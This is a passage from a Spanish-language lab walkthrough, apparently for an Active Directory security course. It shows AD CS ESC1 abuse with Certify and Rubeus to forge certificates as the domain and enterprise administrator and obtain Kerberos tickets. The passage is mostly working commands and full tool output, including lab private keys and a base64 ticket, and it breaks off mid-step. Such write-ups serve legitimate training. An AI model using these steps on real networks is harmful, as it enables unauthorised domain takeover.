) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.1 [*] Action: Ask TGT [*] Using PKINIT with etype rc4_hmac and subject: CN=student723, CN=Users, DC=dollarcorp, DC=moneycorp, DC=local [*] Building AS-REQ (w/ PKINIT preauth) for: 'dollarcorp.moneycorp.local\administrator' [*] Using domain controller: 172.16.2.1:88 [X] KRB-ERROR (66) : KDC_ERR_CERTIFICATE_MISMATCH PS C:\ad\tools\openssl> ``` # AD CS - ESC1 La plantilla "HTTPSCertificates" tiene el valor ENROLLEE\_SUPPLIES\_SUBJECT para msPKI-Certificates-Name-Flag. ``` PS C:\ad\tools\openssl> ..\Certify.exe find /enrolleeSuppliesSubject _____ _ _ __ / ____| | | (_)/ _| | | ___ _ __| |_ _| |_ _ _ | | / _ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.0.0 [*] Action: Find certificate templates [*] Using the search base 'CN=Configuration,DC=moneycorp,DC=local' [*] Listing info about the Enterprise CA 'moneycorp-MCORP-DC-CA' Enterprise CA Name : moneycorp-MCORP-DC-CA DNS Hostname : mcorp-dc.moneycorp.local FullName : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED Cert SubjectName : CN=moneycorp-MCORP-DC-CA, DC=moneycorp, DC=local Cert Thumbprint : 8DA9C3EF73450A29BEB2C77177A5B02D912F7EA8 Cert Serial : 48D51C5ED50124AF43DB7A448BF68C49 Cert Start Date : 11/26/2022 1:59:16 AM Cert End Date : 11/26/2032 2:09:15 AM Cert Chain : CN=moneycorp-MCORP-DC-CA,DC=moneycorp,DC=local [!] UserSpecifiedSAN : EDITF_ATTRIBUTESUBJECTALTNAME2 set, enrollees can specify Subject Alternative Names! CA Permissions : Owner: BUILTIN\Administrators S-1-5-32-544 Access Rights Principal Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11 Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544 Allow ManageCA, ManageCertificates mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 Allow ManageCA, ManageCertificates mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Enrollment Agent Restrictions : None Enabled certificate templates where users can supply a SAN: CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : WebServer Schema Version : 1 Validity Period : 2 years Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT mspki-enrollment-flag : NONE Authorized Signatures Required : 0 pkiextendedkeyusage : Server Authentication mspki-certificate-application-policy : Permissions Enrollment Permissions Enrollment Rights : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Object Control Permissions Owner : mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteOwner Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : SubCA Schema Version : 1 Validity Period : 5 years Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT mspki-enrollment-flag : NONE Authorized Signatures Required : 0 pkiextendedkeyusage : mspki-certificate-application-policy : Permissions Enrollment Permissions Enrollment Rights : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Object Control Permissions Owner : mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteOwner Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 CA Name : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA Template Name : HTTPSCertificates Schema Version : 2 Validity Period : 10 years Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS Authorized Signatures Required : 0 pkiextendedkeyusage : Client Authentication, Encrypting File System, Secure Email mspki-certificate-application-policy : Client Authentication, Encrypting File System, Secure Email Permissions Enrollment Permissions Enrollment Rights : dcorp\RDPUsers S-1-5-21-719815819-3726368948-3917688648-1123 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Object Control Permissions Owner : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 WriteOwner Principals : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteDacl Principals : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 WriteProperty Principals : mcorp\Administrator S-1-5-21-335606122-960912869-3279953914-500 mcorp\Domain Admins S-1-5-21-335606122-960912869-3279953914-512 mcorp\Enterprise Admins S-1-5-21-335606122-960912869-3279953914-519 Certify completed in 00:00:22.2161427 ``` Para los usuarios del grupo RDPUsers como es nuestro usuario. Entonces, emitimos el certificado. ``` PS C:\ad\tools\openssl> ..\Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:"HTTPSCertificates" /altname:administrator _____ _ _ __ / ____| | | (_)/ _| | | ___ _ __| |_ _| |_ _ _ | | / _ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.0.0 [*] Action: Request a Certificates [*] Current user context : dcorp\student723 [*] No subject name specified, using current context as subject. [*] Template : HTTPSCertificates [*] Subject : CN=student723, CN=Users, DC=dollarcorp, DC=moneycorp, DC=local [*] AltName : administrator [*] Certificate Authority : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA [*] CA Response : The certificate had been issued. [*] Request ID : 36 [*] cert.pem : -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEA2XkO5Vi9IRx2P64CZyucBrDZkCSGfbS1zK+HbGmdRdQlTgnv wkb/VgCYfCRcbjmp/ykxajGv5poobwrqUvDi4kPUQJ+O1dntruV76s+T01z0Ecqx tffvzFfKsZ6GGlX3x9FRXjrXgmmNNNFWp6SnwwYxjvL7qGeU3moqqntehb+ww6pk VSUpnBuMQBtSv1rXIGu0+V3hJDMIUNPDkqsUOAphy18nyJSx7RvU7juS7NgIJZjK nHITGkxHs8sOuFa1sO3hO3gtgOPOBkYubSY7X6X1w7qvVMl9jt/VFT6V3vukBMwj 3FPqhC/LhkgYzh8GZCDyeeXRgboUlT/sFu4LrQIDAQABAoIBAQDOpgUslBUr2ILY 4f3wkXTyuqwSF1MhMk2qkYTq1LUYvI0ySajlgFdzHp/HHzohl3PdPgRxt4NBam1P jxy48aN2hCO1wKiWtz3u+qu0pcj/iI14NpaFpnLcRvQZsdwWPGh2HIXoN5u/lZMT hHSGWqT7YfBHuMa/8KV6b4HZe9+G0K54P6lAArHT3jPlo83o64dDcWiVja1XN/Ys GSHlsDmP+D7yo3BAOqqW4AoXXETkVqw7wYhYtNpxOQICXEhuvmlxk4VkaCMG0a3C x7/8/vbzCv7CRxOshznLlISdgMKD0sFgkbo4FL33JmfP8cS88QwuSsJicRt2gqsS nRsWJnSVAoGBAPP5cm8Gyo9/SUNEOrSFntgyHr/dNnjgKnGaVYYRJWweV/OiWKFB DoQpaDOnSxodhNCVarlcAXSHn4fIg9Abglji9v7HTpHmaPbEfC+0HYae1SsKEtQu VBwqf696ABsHbyocD3JJeT7Gs2aB4nifT3MBfTvO+DE1Vz+Gd6QdEcnfAoGBAOQx NLVpzD7mXZSaScx/cHrNOwe4P4R+uvvDp5c+0/dhZOvqB69po5NqAF/n0W4jzLal k97zdMdoyK596uJN9M7rnaB/DMPCBdhaSYzI6gor48npABxqNo7RNSruCLTXzGLP KMWDBg5YqsO6gdCUmnOMxXXeS3SeXPKCrWfurDPzAoGBAImI+MKwMGaemd1qzDFS Fk7ISl9cxEV2EVdDaq0OY2tE284DmjUlaJqGgTCFQagyNdokMSrXPBbGEd/I4M3j hCK5qAXOs3M6Ubey4lM+FVr7lS4TGrQ0fcP3DU4N15tlIHy7ntWNp+UEvMOvuszG +lHZ6BBcR7vt1wZ/tlh07r8/AoGAOCt0kgNM517FQkMIT3I/ObszAJ914yNe24I5 yp0IiChNM1UUNzWFsk+xb+ocP0RIq9zuHT9IS52baHhOTQ5raFPPJSag+b7UuYDg Aeui0IYlOBpGkLgEXftZXwvg0MMd6GSd4KBz6SwiPLO4KKOrsS3BnVXutPIWZwuL q72wXckCgYEAmpnpZ6pJsCFNJQjx7HcWXq82Bq0BeGtLaK80C8lbNAbJcEzWal3a GzA3ca92nXqWqWgjXCw/1P0ex3RrLIkISlU1O4Do58T8Kcl3PtYEoWkTwWFj+ojE KvBOiLtQApMTwDmsfjEheCstRWF7+YVWfQdOxDQm8Ii3Mo8wmTKpkuQ= -----END RSA PRIVATE KEY----- -----BEGIN CERTIFICATE----- MIIGYjCCBUqgAwIBAgITFQAAACT29zy+spiOtAAAAAAAJDANBgkqhkiG9w0BAQsF ADBSMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGTAXBgoJkiaJk/IsZAEZFgltb25l eWNvcnAxHjAcBgNVBAMTFW1vbmV5Y29ycC1NQ09SUC1EQy1DQTAeFw0yNDAzMDUw MzMwMTZaFw0yNjAzMDUwMzQwMTZaMHMxFTATBgoJkiaJk/IsZAEZFgVsb2NhbDEZ MBcGCgmSJomT8ixkARkWCW1vbmV5Y29ycDEaMBgGCgmSJomT8ixkARkWCmRvbGxh cmNvcnAxDjAMBgNVBAMTBVVzZXJzMRMwEQYDVQQDEwpzdHVkZW50NzIzMIIBIjAN BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2XkO5Vi9IRx2P64CZyucBrDZkCSG fbS1zK+HbGmdRdQlTgnvwkb/VgCYfCRcbjmp/ykxajGv5poobwrqUvDi4kPUQJ+O 1dntruV76s+T01z0EcqxtffvzFfKsZ6GGlX3x9FRXjrXgmmNNNFWp6SnwwYxjvL7 qGeU3moqqntehb+ww6pkVSUpnBuMQBtSv1rXIGu0+V3hJDMIUNPDkqsUOAphy18n yJSx7RvU7juS7NgIJZjKnHITGkxHs8sOuFa1sO3hO3gtgOPOBkYubSY7X6X1w7qv VMl9jt/VFT6V3vukBMwj3FPqhC/LhkgYzh8GZCDyeeXRgboUlT/sFu4LrQIDAQAB o4IDDjCCAwowPQYJKwYBBAGCNxUHBDAwLgYmKwYBBAGCNxUIheGocofMn2jhhyaC n65RgvL2fYE/hpePdoe0hBICAWQCAQYwKQYDVR0lBCIwIAYIKwYBBQUHAwIGCCsG AQUFBwMEBgorBgEEAYI3CgMEMA4GA1UdDwEB/wQEAwIFoDA1BgkrBgEEAYI3FQoE KDAmMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMEMAwGCisGAQQBgjcKAwQwRAYJKoZI hvcNAQkPBDcwNTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwQCAgCAMAcGBSsO AwIHMAoGCCqGSIb3DQMHMB0GA1UdDgQWBBQTWMeRA2EyvVtk6YcNAAgfhdvnvTAo BgNVHREEITAfoB0GCisGAQQBgjcUAgOgDwwNYWRtaW5pc3RyYXRvcjAfBgNVHSME GDAWgBTR/o0Kp/q0Mp82/CC498ueaMVF7TCB2AYDVR0fBIHQMIHNMIHKoIHHoIHE hoHBbGRhcDovLy9DTj1tb25leWNvcnAtTUNPUlAtREMtQ0EsQ049bWNvcnAtZGMs Q049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENO PUNvbmZpZ3VyYXRpb24sREM9bW9uZXljb3JwLERDPWxvY2FsP2NlcnRpZmljYXRl UmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Q b2ludDCBywYIKwYBBQUHAQEEgb4wgbswgbgGCCsGAQUFBzAChoGrbGRhcDovLy9D Tj1tb25leWNvcnAtTUNPUlAtREMtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUy MFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9bW9uZXlj b3JwLERDPWxvY2FsP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0 aWZpY2F0aW9uQXV0aG9yaXR5MA0GCSqGSIb3DQEBCwUAA4IBAQCie2uXejB1PVIl e6RWt3eS83qM7sCITDvjrZtj3ZOAPlY85AqofRBFmT4bsdFPN/eQTYkcjJwDO0pK 9Xa8OvJgrT+Yl/7+zbZlLEDBGQo6WGlfxUZBYKwoUPnOY3oswl/fDKGL/4wyWNrd sq/820784GdKFHwz3uE4MMETES7Aw3D8nkqCPRr5GMlXKoWFso4KATNc/jC6DjAe vHQjgeOzt0w+DPOAX/WzcC4xQXtgwNXwRVWkGYxqAV7K+0CBZTzRcb1eh9O4yGBk aoczWcO+O9e7a7m7kGJbNvxtP/i4OcI9XLYjC0HNj4lvilGIWCSeR/4oNDSN8tXc tdjIRsT3 -----END CERTIFICATE----- [*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx ``` Comvertimos el fichero cert.pem en pfx. ``` PS C:\ad\tools\openssl> .\openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out esc1.pfx WARNING: can't open config file: /usr/local/ssl/openssl.cnf Enter Export Password: Verifying - Enter Export Password: PS C:\ad\tools\openssl> ``` Importamos el ticket. ``` PS C:\ad\tools\openssl> ..\Rubeus.exe asktgt /user:administrator /certificate:esc1.pfx /password:SecretPass@123 /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.1 [*] Action: Ask TGT [*] Using PKINIT with etype rc4_hmac and subject: CN=student723, CN=Users, DC=dollarcorp, DC=moneycorp, DC=local [*] Building AS-REQ (w/ PKINIT preauth) for: 'dollarcorp.moneycorp.local\administrator' [*] Using domain controller: 172.16.2.1:88 [+] TGT request successful! [*] base64(ticket.kirbi): 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 ZG9sbGFyY29ycC5tb25leWNvcnAubG9jYWw= [+] Ticket successfully imported! ServiceName : krbtgt/dollarcorp.moneycorp.local ServiceRealm : DOLLARCORP.MONEYCORP.LOCAL UserName : administrator UserRealm : DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/4/2024 7:44:38 PM EndTime : 3/5/2024 5:44:38 AM RenewTill : 3/11/2024 8:44:38 PM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : 1vEM/DLY532RWShi5JRyeA== ASREP (key) : 5E2FB1414E1E60853B74A0BBB8A03063 PS C:\ad\tools\openssl> ``` Comprobamos los privilegios. ``` PS C:\ad\tools\openssl> ls \\dcorp-dc\C$ Directory: \\dcorp-dc\C$ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 5/8/2021 1:20 AM PerfLogs d-r--- 11/14/2022 10:12 PM Program Files d----- 5/8/2021 2:40 AM Program Files (x86) d-r--- 3/4/2024 7:33 AM Users d----- 1/10/2024 12:59 AM Windows ``` ## Ahora a Enterprise Admin Solicitamos el ticket. ``` C:\AD\Tools\openssl>..\Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:"HTTPSCertificates" /altname:moneycorp.local\administrator _____ _ _ __ / ____| | | (_)/ _| | | ___ _ __| |_ _| |_ _ _ | | / _ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.0.0 [*] Action: Request a Certificates [*] Current user context : dcorp\student723 [*] No subject name specified, using current context as subject. [*] Template : HTTPSCertificates [*] Subject : CN=student723, CN=Users, DC=dollarcorp, DC=moneycorp, DC=local [*] AltName : moneycorp.local\administrator [*] Certificate Authority : mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA [*] CA Response : The certificate had been issued. [*] Request ID : 41 [*] cert.pem : -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAvdDIc2ojtCVWp8qoIIB4i5X3fBmPLfwjRi/lL8tDwNTEiz1p aSUZu/RxxePX4nCPfIrWqwsKaQ2jqvf4lXKPTDbTWD7zJqgQB3tMglpIixw57s8r fqcuwHVkF5AGiFuAQ02JVM6UNrAbMNdl2Nlvo7oXESLg1O7ipjKosuGcrqzwj8dj mYHh7iLTjEr2SRDgfRWT+Sgh5qkXFbCdvhssguZf+d68hpsG+UCDH0sld991GFuw uf7rJOJG/gzba4LxeQeBHElGyy0RpatfxBqTMyElDW6F2Oa0g3rYxv+VLOyEM6bQ KRqplaGH1SLXp4msHZzr7m6aqmN3WF6JBju+bQIDAQABAoIBAFZyOohNo3sMsj1y j0VWHRA9OVv8a/feZ9Y0Q+WTZgTxIZ3kVxh6vBCckCA21wAakU6AEKoPOiuD+bEI g97UMKzeHzyGVsiZK8usfLi1E2q/bSb0lPN2glVGYVJV1pPNUEnWix/jgR6y7387 6fdrd2uSeaTlRI3VScW1Np1ZILlv4rBa8aKGpQ3grFxHUbo+DMjOlRShLYrTK7nt tS2YeDxHC+cDsIExdAcwvtReIgnedjGtz5qTiQBsEAvCybZa5CX2iuPY8kRDPTPc eNxJEPDVoaByvRnHzWWZ6BgKA2zuZGjzs8JDpFr7/mrnk8x94G76Ww/U2c54WnFG xa/UxQUCgYEA43NBc+zepQpDuZ1ZPUHYm2XlAGKV9Lt1FYZH6Jt6jzaPv/29rOE6 npN1v/08NlbFJ3vN5z7fX51W6MXt9OP4XtDxyfuZrtFft5SpSn0JyBun7/rOJ7U2 hlq7GJFkXvxHrrSFKzsVG6P+HwnmXzxaeTxEiPh/3XSyZ6MmJXC/tU8CgYEA1aQy 0w6lP5z3ljllYEJcU+MkEnVd7pcjuNn5cd8I087EfulBJu8Lo38qO8b4WOBF3Zf9 pZdVAEFZXBOTQMjpHRm1QA6vHMOoyKQoxKNUcFR1zFrD3REuASbcBgKWw8fm9dZ6 um7LY1PeWyyjNYrp7B7hBxKmPXxZJaa273zu2YMCgYEApIoSRXyLrDT6vWI41nm1 6uURfu/Sr1KU5tdXWcxwIv5Di45SEqh0sZbXTeYyEtU+lsuXLrxq905pOsdE1y27 1UuuPoIGsVLBvZqLxVkjJGHtYUu8qzkKkrM8Og+j3pr+eEIbPCTnpjFCes28nBSb Fq0knzm1tkzfat25kMg5xz0CgYEAzm8Q5Tu7lVI5MqFXQcIdsLlEe8mI8Ch+zflh vRREVVXwLKl62QIW/u67gnNqOYbMO6jH4R/vdIWwsPYBTZJVHlde+fy2XFb7WpS1 B/zCdKBICySRKaWWDGreI7iQsbERjO6oPEkeomXB79ucAPqvugbEba8pjzP+eBE1 pwfTS70CgYBV1I41aWEbQ+uFeMu4FgFSHkNZkr0T4YtpWbZsG3SJh0EDFlR2FDOG OROIKhSlDqLhRVB8EHRq9YNbnfbxPx3UzK9cB1Qy4an2YbvSqWR67e44VnWepxJg qARw7mR/VM1a9DQdNC+QvL3tLtShNAG9Ouv6FxwyZUKuDRSHyOIcTQ== -----END RSA PRIVATE KEY----- -----BEGIN CERTIFICATE----- MIIGcjCCBVqgAwIBAgITFQAAACkrjprXHSMJRQAAAAAAKTANBgkqhkiG9w0BAQsF ADBSMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGTAXBgoJkiaJk/IsZAEZFgltb25l eWNvcnAxHjAcBgNVBAMTFW1vbmV5Y29ycC1NQ09SUC1EQy1DQTAeFw0yNDAzMDUw MzQ4MDRaFw0yNjAzMDUwMzU4MDRaMHMxFTATBgoJkiaJk/IsZAEZFgVsb2NhbDEZ MBcGCgmSJomT8ixkARkWCW1vbmV5Y29ycDEaMBgGCgmSJomT8ixkARkWCmRvbGxh cmNvcnAxDjAMBgNVBAMTBVVzZXJzMRMwEQYDVQQDEwpzdHVkZW50NzIzMIIBIjAN BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvdDIc2ojtCVWp8qoIIB4i5X3fBmP LfwjRi/lL8tDwNTEiz1paSUZu/RxxePX4nCPfIrWqwsKaQ2jqvf4lXKPTDbTWD7z JqgQB3tMglpIixw57s8rfqcuwHVkF5AGiFuAQ02JVM6UNrAbMNdl2Nlvo7oXESLg 1O7ipjKosuGcrqzwj8djmYHh7iLTjEr2SRDgfRWT+Sgh5qkXFbCdvhssguZf+d68 hpsG+UCDH0sld991GFuwuf7rJOJG/gzba4LxeQeBHElGyy0RpatfxBqTMyElDW6F 2Oa0g3rYxv+VLOyEM6bQKRqplaGH1SLXp4msHZzr7m6aqmN3WF6JBju+bQIDAQAB o4IDHjCCAxowPQYJKwYBBAGCNxUHBDAwLgYmKwYBBAGCNxUIheGocofMn2jhhyaC n65RgvL2fYE/hpePdoe0hBICAWQCAQYwKQYDVR0lBCIwIAYIKwYBBQUHAwIGCCsG AQUFBwMEBgorBgEEAYI3CgMEMA4GA1UdDwEB/wQEAwIFoDA1BgkrBgEEAYI3FQoE KDAmMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMEMAwGCisGAQQBgjcKAwQwRAYJKoZI hvcNAQkPBDcwNTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwQCAgCAMAcGBSsO AwIHMAoGCCqGSIb3DQMHMB0GA1UdDgQWBBS5oLc86K6x6Hl5GdRieHQbab3cvTA4 BgNVHREEMTAvoC0GCisGAQQBgjcUAgOgHwwdbW9uZXljb3JwLmxvY2FsXGFkbWlu aXN0cmF0b3IwHwYDVR0jBBgwFoAU0f6NCqf6tDKfNvwguPfLnmjFRe0wgdgGA1Ud HwSB0DCBzTCByqCBx6CBxIaBwWxkYXA6Ly8vQ049bW9uZXljb3JwLU1DT1JQLURD LUNBLENOPW1jb3JwLWRjLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNl cyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW1vbmV5Y29ycCxEQz1s b2NhbD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9 Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgcsGCCsGAQUFBwEBBIG+MIG7MIG4BggrBgEF BQcwAoaBq2xkYXA6Ly8vQ049bW9uZXljb3JwLU1DT1JQLURDLUNBLENOPUFJQSxD Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1 cmF0aW9uLERDPW1vbmV5Y29ycCxEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/ b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0BAQsF AAOCAQEAwY2cmph+2qywOsf/K1UKnHCEmZY+PC9zkYO2g1YLx4cxnb9+c08xPKEH d3TPHNUleGpTngfMXvDyYlY0XNV6nLytPfqVEPy89CmukMSB1PTYZAUJSE9tcJFg 6BEo1ZwXwoRO8bHFFSdOXN1z5/ybHbALXtJSsNw3oMEtJyd8bsdjU+dVghzh3YlT JHD1IVGMVp6PB6PL/QTqbtdQZbf9PBagdu7jhE8uYO505Nws/HreXKsq5ZgNOhHG 1ut5W4YAmX1U+WAjFMOafngugVS8U7fmZ33V3uO0oifey3XQXlxhdrzdPh/x6+tx gRhJodM+bJabtOwG1Rz8YK1FA6t4AA== -----END CERTIFICATE----- [*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx Certify completed in 00:00:11.6746787 C:\AD\Tools\openssl> ``` Cambiamos el cert.pem por .pfx. ``` C:\AD\Tools\openssl>.\openssl.exe pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out esc1.pfx WARNING: can't open config file: /usr/local/ssl/openssl.cnf Enter Export Password: Verifying - Enter Export Password: ``` Y ahora lo cargamos usando rubeus. ``` 